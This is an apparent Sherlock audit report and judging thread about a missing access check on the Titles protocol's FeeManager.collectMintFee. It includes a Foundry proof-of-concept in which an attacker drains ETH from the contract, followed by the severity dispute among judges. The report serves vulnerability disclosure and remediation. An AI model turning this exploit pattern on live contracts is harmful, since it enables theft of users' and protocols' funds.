ComposableSecurity - Unprotected `collectMintFee` function that leads to stealing funds from `FeeManager`

[sherlock-admin4]

ComposableSecurity

high

Unprotected collectMintFee function that leads to stealing funds from FeeManager

Summary

A user can steal funds stored in FeeManager because collectMintFee has no access control.

Vulnerability Detail

The function collectMintFee generally should be called by Edition contract during the minting. However, this function can be called by anyone with parameters specified by the attacker as there are no restrictions on the msg.sender.

When there are funds on FeeManager (and they will be there as the current implementation transfers some funds during minting to this contract) an attacker can steal them by calling this function with the FeeManager address as payer_ and their address as referrer_.

    function collectMintFee(
        IEdition edition_,
        uint256 tokenId_,
        uint256 amount_,
        address payer_,
        address referrer_
    ) external payable {
        _collectMintFee(
            edition_, tokenId_, amount_, payer_, referrer_, getMintFee(edition_, tokenId_, amount_)
        );
    }

Important: The funds on FeeManager contract can appear from different sources, including direct call because it has receive() function and the withdraw() function that is used by the admin to rescue tokens.

Scenario showed in POC:

1. FeeManager contract is empty.
2. Alice mints 100 tokens and pay fees.
3. FeeManager contract balance is 18.94 eth.
4. Attacker calls the collectMintFee with the following values feeManager.collectMintFee{value: 0 ether}(edition, tokenId, 1000, address(feeManager), attacker);
5. FeeManager contract balance decreased now to 8.34 eth, the attacker balance increased by 0.3 eth.

Note: The attacker can create their own edition and position themselves as the recipient of a high fee in it. This way, they will be able to collect even more funds per transaction.

POC results

[PASS] test_POC_stealing_from_FeeManager() (gas: 234622)
Logs:

  START
  Alice balance:  100000000000000000000
  Attacker balance:  100000000000000000000
  FeeManager balance:  0
  Edition balance:  0

  AFTER ALICE MINTS
  Alice balance:  80000000000000000000
  Bob balance:  100000000000000000000
  FeeManager balance:  18940000000000000000
  Edition balance:  0

  AFTER ATTACK
  Alice balance:  80000000000000000000
  Bob balance:  100300000000000000000
  FeeManager balance:  8340000000000000000
  Edition balance:  0

POC file

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test, console} from "forge-std/Test.sol";

import {Edition} from "src/editions/Edition.sol";
import {FeeManager} from "src/fees/FeeManager.sol";
import {TitlesGraph} from "src/graph/TitlesGraph.sol";
import {
    Comment,
    Node,
    NodeType,
    NotOpen,
    Metadata,
    Strategy,
    Target,
    Unauthorized
} from "src/shared/Common.sol";

contract MockSplitFactory {
    struct Split {
        address[] recipients;
        uint256[] allocations;
        uint256 totalAllocation;
        uint16 distributionIncentive;
    }

    function createSplit(Split memory, address, address) external view returns (address) {
        return address(this);
    }

    receive() external payable {}
}

contract MockGraph {
    function createEdge(Node memory, Node memory, bytes memory) external {}
}

contract EditionTest is Test {
    Edition public edition;
    FeeManager public feeManager;
    TitlesGraph public graph;

    function setUp() public {
        edition = new Edition();
        feeManager = new FeeManager(address(0xdeadbeef), address(0xc0ffee), address(new MockSplitFactory()));
        graph = new TitlesGraph(address(this), address(this));

        edition.initialize(
            feeManager,
            graph,
            address(this),
            address(this),
            Metadata({label: "Test Edition", uri: "ipfs.io/test-edition", data: new bytes(0)})
        );

        edition.publish(
            address(1), // creator
            1000, // maxSupply
            0, // opensAt
            0, // closesAt
            new Node[](0), // attributions
            Strategy({
                asset: address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE),
                mintFee: 0.01 ether,
                revshareBps: 2500, // 25%
                royaltyBps: 250 // 2.5%
            }),
            Metadata({label: "Best Work Ever", uri: "ipfs.io/best-work-ever", data: new bytes(0)})
        );

        // Normally done by the TitlesCore, but we're testing in isolation
        feeManager.createRoute(edition, 1, new Target[](0), address(0));
    }

    function test_POC_stealing_from_FeeManager() public {
    // Scenario setup
    address alice = makeAddr("alice");
    address attacker = makeAddr("attacker");
    vm.deal(alice, 100 ether);
    vm.deal(attacker, 100 ether);
    uint256 tokenId = 1;
    uint256 amountSingle = 100;

    console.log("");
    console.log("START");
    console.log("Alice balance: ", alice.balance);
    console.log("Attacker balance: ", attacker.balance);
    console.log("FeeManager balance: ", address(feeManager).balance);
    console.log("Edition balance: ", address(edition).balance);
    console.log("");

    // Alice mints her tokens
    vm.startPrank(alice);
    edition.mint{value: 20 ether}(alice, tokenId, amountSingle, address(0), new bytes(0));
    vm.stopPrank();

    console.log("");
    console.log("AFTER ALICE MINTS");
    console.log("Alice balance: ", alice.balance);
    console.log("Bob balance: ", attacker.balance);
    console.log("FeeManager balance: ", address(feeManager).balance);
    console.log("Edition balance: ", address(edition).balance);
    console.log("");

    vm.startPrank(attacker);
    feeManager.collectMintFee{value: 0 ether}(edition, tokenId, 1000, address(feeManager), attacker);
    vm.stopPrank();

    console.log("");
    console.log("AFTER ATTACK");
    console.log("Alice balance: ", alice.balance);
    console.log("Bob balance: ", attacker.balance);
    console.log("FeeManager balance: ", address(feeManager).balance);
    console.log("Edition balance: ", address(edition).balance);
    console.log("");

    assertEq(edition.balanceOf(alice, tokenId), amountSingle, "User1 token balance incorrect");
}

}

Impact

The user can steal funds from FeeManager.

Code Snippet

https://github.com/sherlock-audit/2024-04-titles/blob/c9d16782a7d3c15c7a759f22c9e0552d5e777ed7/wallflower-contract-v2/src/fees/FeeManager.sol#L183 https://github.com/sherlock-audit/2024-04-titles/blob/c9d16782a7d3c15c7a759f22c9e0552d5e777ed7/wallflower-contract-v2/src/fees/FeeManager.sol#L202

Tool used

Manual Review

Recommendation

The collectMintFee function should be callable only by Edition contract or owner. Add appropriate checks as modifiers.

[ComposableSecurityTeam]

Escalate

This is not duplicate of https://github.com/sherlock-audit/2024-04-titles-judging/issues/264.

The attack vector, affected code snippet, recommendation and impact are different. This issue shows an access control problem. This issue is duplicate of another issue that was confirmed and rewarded (https://github.com/sherlock-audit/2024-04-titles-judging/issues/266).

[sherlock-admin3]

Escalate

This is not duplicate of https://github.com/sherlock-audit/2024-04-titles-judging/issues/264.

The attack vector, affected code snippet, recommendation and impact are different. This issue shows an access control problem. This issue is duplicate of another issue that was confirmed and rewarded (https://github.com/sherlock-audit/2024-04-titles-judging/issues/266).

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[cvetanovv]

I agree with the escalation.

We will duplicate this issue with 266, remove the duplicate of 266 with 251, and decide separately whether 266 will remain valid.

[Hash01011122]

Sorry my blunder, this is duplicate of #266

[WangSecurity]

This report is not a duplicate of #266 cause 266 talks about the problem with ERC20 tokens, which are not used in the current version of the protocol. This report identifies a different issue from #251 hence, will be the best one for new issue family with #139 and #383 as duplicates and high severity.

[WangSecurity]

After reviewing the family and the issue again, I want to make the following remarks:

FeeManager is not expected to hold any value, cause all the fees (both creation and minting ones) are transferred directly to the recepients. Hence, there are two cases when it can happen:

1. User mistake, i.e. sending funds directly into the contract (invalid).
2. The issue expressed in #269 (Edition contract sends the entire msg.value instead of mint fee.

Therefore, the first is invalid under the rules. The second is used in the POC, still the reports doesn't explain what is the issue with sending excess msg.value during minting, but mentions that there can be funds due to users directly transferring them. Hence, I believe it should remain invalid cause the report explains only the user mistake path.

Planning to reject the escalation and leave the issue as it is.

[ComposableSecurityTeam]

@WangSecurity Regarding the two cases that you mentioned: the excessive amount of Ether sent when minting would be refunded when the other issue is fixed. However, the existence of the receive function means that there are business flows that require such transfers. That said, the direct transfers would not be only by mistake.

See L345

/// @notice Allows the contract to receive ETH.
receive() external payable {}

The #139 you mentioned previously (with the already accepted escalation) is somehow similar to this issue. It also points to the root cause which is unprotected function. However, the recommendation on how to fix the problem is better described here. The root cause here is the lack of appropriate access control. So adding an appropriate access control mechanism should be a better fit to keep the project secure and antifragile.

[WangSecurity]

I see what you mean, but the existence of the receive function doesn't mean the contract expects ETH transfers. If there are any specific business flows for that to happen within the system (when one contract just sends ETH to another), then I would agree, but otherwise, I believe the existence of receive function is not sufficient proof these flows are not mistake and will happen. Hence, my decision remains the same, reject the escalation and leave the issue as it is.

[ComposableSecurityTeam]

The receive function is not default behavior is a specially added function that does not have to appear in contracts unless it is to support some business flow or the contract is to collect funds. So if the risk after further investigation is considered limited then it could be MEDIUM impact on risk finding, but not invalidated one.

Additionally, we draw your attention to the note included in the description, which shows further risks if ERC20 were in the range:

Note: The vulnerability will have an even greater impact on ERC20 tokens, which, although they were excluded from the scope after the start of the contest, the team still plans to support. Then it will be possible not only to steal them, but also the amount approved for FeeManager by the user.

Regardless of the final verdict, we recommend that the team fix the issue in accordance with the described recommendation for user safety.

@WangSecurity Thank you for your support and thorough investigation.

[WangSecurity]

I agree that receive function is of course not a default behaviour, and I agree that there is an additional impact with ERC20s, but they're out of scope. And as I've said before, the existence of receive function doesn't automatically mean there are business flows for that, unless there are indeed other functions in other contracts that use receive function of FeeManager. Hence, my decision remains the same, reject the escalation and leave the issue as it is.

Thank you for that calm discussion.

[Evert0x]

Result: High Duplicate of #264

[sherlock-admin2]

Escalations have been resolved successfully!

Escalation status:

• ComposableSecurityTeam: rejected

[WangSecurity]

Correcting, this report is not a duplicate of #264 as stated in the above comments.